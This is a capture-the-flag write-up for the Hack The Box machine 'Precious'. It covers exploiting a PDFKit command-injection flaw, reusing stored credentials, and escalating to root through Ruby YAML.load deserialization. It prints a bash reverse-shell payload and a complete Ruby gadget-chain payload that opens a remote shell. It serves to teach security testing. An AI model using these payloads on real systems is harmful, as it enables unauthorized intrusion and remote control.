Precious – HTB Writeup
Machine Name: Precious
IP: 10.10.11.189
Difficulty: Easy
Summary
Precious is an easy machine that requires basic enumeration to find and exploit an outdated software running on a web server. To escalate privileges, the machine makes you look at Ruby scripts and understand how one can identify and exploit Insecure Deserialization vulnerabilities.
Information Gathering
Nmap scan shows that ports 22 (SSH) and 80 (HTTP) are open. Port 80 is running Nginx 1.18.0 server and the title of the page is “Convert Web Page to PDF”. I have already added “precious.htb” to the /etc/hosts file.
nmap -sC -sV -oN precious.nmap 10.10.11.189
When I tried to load something from the internet, it did not work.
Let’s try out our own IP address as it is internal to HTB’s network. I’ll host a HTML file and check if it converts it into PDF.
It successfully converts the HTML file into a PDF. Whenever such applications are hosted, I try to find the underlying tool that is performing the conversion. In this case, the source code does not reveal any information regarding the tool. We could use exiftool to find more information in the metadata of the PDF file.
The file is generated by the tool PDFkit v0.8.6
I googled for “PDFkit v0.8.6 vulnerabilities” and the first result had a command injection PoC.
PDFKit.new("http://example.com/?name=#{'%20`sleep 5`'}").to_pdf # 5 seconds wait...
You can inject commands in the GET parameter “name” in the URL.
http://10.10.14.19/?name=%20`id`
We see that the command injected is working. We can try to get a reverse shell now.
http://10.10.14.19/?name=%20`bash -c "bash -i >& /dev/tcp/10.10.14.19/1234 0>&1"`
There is not user flag in Ruby’s home directory. Therefore, I looked for other users and found Henry’s home directory had the user flag. This file cannot be read by Ruby. We would need to get a shell as Henry to do that.
Getting User Flag
Snooping around the file system of Ruby, I found a “.bundle” directory that contained a “config” file with Henry’s credentials in it.
cd /home/ruby/.bundle
These credentials can now be used to log into SSH.
Privilege Escalation
The first check I always perform is “sudo -l”
sudo -l
We see that we can run the update_dependencies.rb file as root without any password. Let’s check the file.
cat /opt/update_dependencies.rb
Obviously, we do not have the permissions to edit this script and get a shell by running ruby script.
The script appears to load a YAML file called “dependencies.yml” and performs a check if the local version of the ruby gem installed is the same as the latest version.
Let’s run the command as root and check the output.
sudo ruby /opt/update_dependencies.rb
The error suggests that the dependencies.yml file does not exist in the location we run the command from. Therefore, I tested the script by creating the dependencies.yml file and inserted some random string, and ran the script.
vi dependencies.yml sudo ruby /opt/update_dependencies.rb
The string provided was being read from the file. I remember solving an exercise from either Pentester Academy or PentesterLab where I exploited ruby deserialization through the same YAML.load() function.
The above script is calling the YAML.load() function to read the contents of “dependencies.yml” and deserializes it. This is dangerous if an attacker can inject malicious code into the “dependencies.yml” file.
Let’s take a detour into the notorious jungles of Insecure Deserialization.
Insecure Deserialization
- Serialization is converting an object into a format that can be stored, transmitted, and reconstructed and deserialization (reconstruction) is the reverse of this process.
- Data needs to be stored to replicate and process the data, transmitted through different mediums, and reconstructed to be enable different technologies to consume it properly.
- Deserialization a malicious object can lead to arbitrary code execution. This happens when untrusted objects are deserialized by applications.
Gadget Hunting
- Once the vulnerable deserialization point (YAML.load() in this case) is identified, the attacker can generate a payload, serialize it, and exploit the vulnerable deserialization point.
- To do this, the attacker needs to craft a gadget chain. These are standard classes or functions from the programming language documentation that are chained together.
On googling “ruby yaml deserialization”, the first post explains how to use a universal gadget chain to gain RCE in Ruby.
The below gadget contains three serialized objects: x, y, and requirement. When the YAML object is deserialized by YAML.load(), it will instantiate these objects and execute the bash command in the “git_set” attribute.
--- - !ruby/object:Gem::Installer i: x - !ruby/object:Gem::SpecFetcher i: y - !ruby/object:Gem::Requirement requirements: !ruby/object:Gem::Package::TarReader io: &1 !ruby/object:Net::BufferedIO io: &1 !ruby/object:Gem::Package::TarReader::Entry read: 0 header: "abc" debug_output: &1 !ruby/object:Net::WriteAdapter socket: &1 !ruby/object:Gem::RequestSet sets: !ruby/object:Net::WriteAdapter socket: !ruby/module 'Kernel' method_id: :system git_set: "bash -c 'bash -i >& /dev/tcp/10.10.14.21/434 0>&1'" method_id: :resolve
Finally, we can run the script and get the root shell.
Lessons Learned
- Do not use Ruby’s YAML.load() . Instead, use YAML.safe_load()
- Do not deserialize untrusted data.
- Validate and perform filtering on the deserialized data.
- Just to tickle your senses, you could research on how Python Pickle can be dangerous.
I think I should “reduce” the length of my blog posts. 😉
References
- https://blog.stratumsecurity.com/2021/06/09/blind-remote-code-execution-through-yaml-deserialization/
- https://www.elttam.com/blog/ruby-deserialization/
- https://gist.github.com/staaldraad/89dffe369e1454eedd3306edc8a7e565?ref=blog.stratumsecurity.com#file-ruby_yaml_load_sploit2-yaml